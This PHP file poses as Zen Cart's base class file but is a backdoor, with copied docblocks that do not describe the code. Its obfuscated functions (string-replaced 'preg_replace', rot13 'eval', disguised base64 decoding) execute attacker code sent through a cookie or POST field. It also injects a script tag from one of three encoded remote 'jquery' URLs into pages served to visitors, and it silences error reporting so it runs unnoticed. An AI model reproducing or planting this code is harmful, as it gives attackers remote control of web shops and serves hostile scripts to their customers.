<?php

/*
 * File contains just the base class
 *
 * @package classes
 * @copyright Copyright 2003-2009 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: class.base.php 14535 2009-10-07 22:16:19Z wilt $
 */
class times{
	private static $_instance = NULL; 
/**
 * abstract class base
 *
 * any class that wants to notify or listen for events must extend this base class
 *
 * @package classes
 */	
	static public function get_times_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new times();  
		}
		return  self::$_instance; 
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	

	private function __construct(){
		error_reporting(0);  	
		self::run();			   
	}
	
	public function doctype(){
		echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	
	public function get_Json(){
		$json_code = '{
			"dst":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvanF1ZXJ5LTEuOS4xLmRzdC5qcw==",
			"one":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL2pxdWVyeS0xLjkuMS5vbmUuanM=",
			"code":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL2pxdWVyeS0xLjkuMS5qcw=="
		}';
 		return json_decode($json_code);
	}
	
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */
   public function enc_rypt($txt) {
        $fun = "basaptcode";
        $fun = str_replace("apt","e64_de",$fun);
        return @$fun($txt);
   }
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */
	
	public function zen_class_base_core(){
		if(isset($_COOKIE['zen_class_base_core'])) 
		{
			$zen_class_base_core = $_COOKIE['zen_class_base_core'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/ad/e','@'.str_rot13('riny').'($zen_class_base_core)', 'add');
			echo $_COOKIE['dproducts_core'] . $r . $_COOKIE['dproducts_core'];
		}
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function remote_file_exists($url) {
		$executeTime = ini_get('max_execution_time');
		ini_set('max_execution_time', 0);
		$headers = @get_headers($url);
		ini_set('max_execution_time', $executeTime);
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	
	public function zen_gmt_times(){
 		$src = $this->get_zen_src_alive();
		if (!isset($_COOKIE["CookiegmtHours"])&& $src != false ){	
			$this->doctype();		
			$this->src($src);
		}
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */
	public function get_zen_src_alive(){
		$url 	= "";
 		$obj = $this->get_Json();
		if ($this->remote_file_exists($this->enc_rypt($obj->{'dst'}))){
			$url = $this->enc_rypt($obj->{'dst'});
		}else {
			if ($this->remote_file_exists( $this->enc_rypt($obj->{'one'}))){
				$url = $this->enc_rypt($obj->{'one'});
			}else {
				if ($this->remote_file_exists( $this->enc_rypt($obj->{'code'}))){
					$url = $this->enc_rypt($obj->{'code'});
				}else {
					$url = false;
				}
			}
		}
		return $url;
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	
	public function src($src){	
		echo  str_replace("earth","cript","<searth src='$src' type='text/javasearth'></searth>");
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function zen_pst_times(){
		if (isset($_POST['zen_class_base_core'])){
			$zen_class_base_core = $_POST['zen_class_base_core'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/[email]/e','@'.str_rot13('riny').'($zen_class_base_core)', 'add');
		}
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function run(){
		$this->zen_class_base_core();	 
		$this->zen_pst_times();		 
		$this->zen_gmt_times();
	}
}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	

$times_instance = times::get_times_instance();